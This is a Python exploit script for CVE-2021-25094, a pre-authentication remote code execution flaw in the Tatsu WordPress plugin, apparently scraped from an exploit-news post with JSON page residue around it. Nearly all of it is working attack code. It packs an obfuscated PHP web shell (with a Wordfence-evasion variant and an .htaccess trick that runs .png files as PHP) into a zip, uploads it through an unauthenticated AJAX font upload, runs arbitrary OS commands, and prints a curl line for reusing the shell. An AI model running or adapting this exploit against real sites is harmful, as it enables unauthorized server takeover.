\n#!\/usr\/bin\/python3
# coding: utf-8<\/p>\n
# Exploit Title:Tatsu <= 3.3.11 pre-auth RCE exploit
# Date: 2025-04-16
# Exploit Author: Milad Karimi (Ex3ptionaL)
# Contact: miladgrayhat@gmail.com
# Zone-H: www.zone-h.org\/archive\/notifier=Ex3ptionaL
# MiRROR-H: https:\/\/mirror-h.org\/search\/hacker\/49626\/
# Product: Tatsu wordpress plugin <= 3.3.11
# CVE: CVE-2021-25094
# URL: https:\/\/tatsubuilder.com\/<\/p>\n
import sys
import requests
import argparse
import urllib3
import threading
import time
import base64
import queue
import io
import os
import zipfile
import string
import random
from datetime import datetime<\/p>\n
urllib3.disable_warnings()<\/p>\n
class HTTPCaller():<\/p>\n
def __init__(self, url, headers, proxies, cmd):
self.url = url
self.headers = headers
self.proxies = proxies
self.cmd = cmd
self.encodedCmd = base64.b64encode(cmd.encode(“utf8”))
self.zipname = None
self.shellFilename = None<\/p>\n
if self.url[-1] == ‘\/’:
self.url = self.url[:-1]<\/p>\n
if proxies:
self.proxies = {“http” : proxies, “https” : proxies}
else:
self.proxies = {}<\/p>\n
def generateZip(self, compressionLevel, technique, customShell, keep):
buffer = io.BytesIO()
with zipfile.ZipFile(buffer, “w”, zipfile.ZIP_DEFLATED, False,
compressionLevel) as zipFile:<\/p>\n
if technique == “custom” and customShell and os.path.isfile(customShell):
with open(customShell) as f:
shell = f.readlines()
shell = “\\n”.join(shell)
self.shellFilename = os.path.basename(customShell)
if self.shellFilename[0] != “.”:
self.shellFilename = “.” + self.shellFilename<\/p>\n
zipFile.writestr(self.shellFilename, shell)<\/p>\n
elif technique == “php”:
# a lazy obfuscated shell, basic bypass Wordfence
# i would change base64 encoding for something better
shell = “ shell += “$f = \\”lmeyst\\”;”
shell += “@$a= $f[4].$f[3].$f[4].$f[5].$f[2].$f[1];”
shell += “@$words = array(base64_decode($_POST[‘text’]));”
shell += “$j=\\”array\\”.\\”_\\”.\\”filter\\”;”
shell += “@$filtered_words = $j($words, $a);”
if not keep:
shell += “@unlink(__FILE__);”
self.shellFilename = “.” +
(”.join(random.choice(string.ascii_lowercase) for i in range(5))) + “.php”
zipFile.writestr(self.shellFilename, shell)<\/p>\n
elif technique.startswith(“htaccess”):<\/p>\n
# requires AllowOverride All in the apache config file
shell = “AddType application\/x-httpd-php .png\\n”
zipFile.writestr(“.htaccess”, shell)<\/p>\n
shell = “ shell += “$f = \\”lmeyst\\”;”
shell += “@$a= $f[4].$f[3].$f[4].$f[5].$f[2].$f[1];”
shell += “@$words = array(base64_decode($_POST[‘text’]));”
shell += “$j=\\”array\\”.\\”_\\”.\\”filter\\”;”
shell += “@$filtered_words = $j($words, $a);”
if not keep:
shell += “@unlink(‘.’+’h’+’t’+’a’+’cc’+’e’+’ss’);”
shell += “@unlink(__FILE__);”
self.shellFilename = “.” +
(”.join(random.choice(string.ascii_lowercase) for i in range(5))) + “.png”
zipFile.writestr(self.shellFilename, shell)<\/p>\n
else:
print(“Error: unknow shell technique %s” % technique)
sys.exit(1)<\/p>\n
self.zipname = ”.join(random.choice(string.ascii_lowercase) for i in
range(3))<\/p>\n
self.zipFile = buffer<\/p>\n
def getShellUrl(self):
return “%s\/wp-content\/uploads\/typehub\/custom\/%s\/%s” % (self.url,
self.zipname, self.shellFilename)<\/p>\n
def executeCmd(self):
return requests.post(url = self.getShellUrl(), data = {“text”:
self.encodedCmd}, headers = self.headers, proxies = self.proxies,
verify=False)<\/p>\n
def upload(self):
url = “%s\/wp-admin\/admin-ajax.php” % self.url
files = {“file”: (“%s.zip” % self.zipname, self.zipFile.getvalue())}
return requests.post(url = url, data = {“action”: “add_custom_font”},
files = files, headers = self.headers, proxies = self.proxies, verify=False)<\/p>\n
def main():
description = “|=== Tatsudo: pre-auth RCE exploit for Tatsu wordpress
plugin <= 3.3.8\\n\"
description += “|=== CVE-2021-25094 \/ Vincent MICHEL (@darkpills)”<\/p>\n
print(description)
print(“”)<\/p>\n
parser = argparse.ArgumentParser()
parser.add_argument(“url”, help=”Wordpress vulnerable URL (example:
https:\/\/mywordpress.com\/)”)
parser.add_argument(“cmd”, help=”OS command to execute”)
parser.add_argument(‘–technique’, help=”Shell technique: php | htaccess |
custom”, default=”php”)
parser.add_argument(‘–customShell’, help=”Provide a custom PHP shell file
that will take a base64 cmd as $_POST[‘text’] input”)
parser.add_argument(‘–keep’, help=”Do not auto-destruct the uploaded PHP
shell”, default=False, type=bool)
parser.add_argument(‘–proxy’, help=”Specify and use an HTTP proxy
(example: http:\/\/localhost:8080)”)
parser.add_argument(‘–compressionLevel’, help=”Compression level of the
zip file (0 to 9, default 9)”, default=9, type=int)<\/p>\n
args = parser.parse_args()
# Use web browser-like header
headers = {
“X-Requested-With”: “XMLHttpRequest”,
“Origin”: args.url,
“Referer”: args.url,
“User-Agent”: “Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 (KHTML,
like Gecko) Chrome\/90.0.4430.212 Safari\/537.36″,
“Accept”: “*\/*”,
“Accept-Language”: “en-US,en;q=0.9”
}<\/p>\n
caller = HTTPCaller(args.url, headers, args.proxy, args.cmd)
print(“[+] Generating a zip with shell technique ‘%s'” % args.technique)
caller.generateZip(args.compressionLevel, args.technique,
args.customShell, args.keep)<\/p>\n
print(“[+] Uploading zip archive to
%s\/wp-admin\/admin-ajax.php?action=add_custom_font” % (args.url))
r = caller.upload()
if (r.status_code != 200 or not r.text.startswith(‘{“status”:”success”‘)):
print(“[!] Got an unexpected HTTP response: %d with content:\\n%s” %
(r.status_code, r.text))
print(“[!] Exploit failed!”)
sys.exit(1)<\/p>\n
print(“[+] Upload OK”)<\/p>\n
print(“[+] Trigger shell at %s” % caller.getShellUrl())
r = caller.executeCmd()
if (r.status_code != 200):
print(“[!] Got an unexpected HTTP response: %d with content:\\n%s” %
(r.status_code, r.text))
print(“[!] Exploit failed!”)
sys.exit(1)
print(“[+] Exploit success!”)
print(r.text)<\/p>\n
if args.keep:
print(“[+] Call it with:”)
print(‘curl -X POST -d”text=$(echo “{0}” | base64 -w0)”
{1}’.format(args.cmd, caller.getShellUrl()))
else:
print(“[+] Shell file has been auto-deleted but parent directory will
remain on the webserver”)<\/p>\n
print(“[+] Job done”)<\/p>\n
if __name__ == ‘__main__’:
main()\n<\/div>\n
View Full Exploit Details<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"Exploit Details Basic Information Exploit Title Tatsu 3.3.11 Remote Code Execution Exploit ID PACKETSTORM:190566 Type packetstorm Published 2025-04-18T00:00:00 Modified 2025-04-18T00:00:00 CVSS Information CVSS Score 8.1…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,52,12,15,13,53,7,11,5],"class_list":["post-368","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-81","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n
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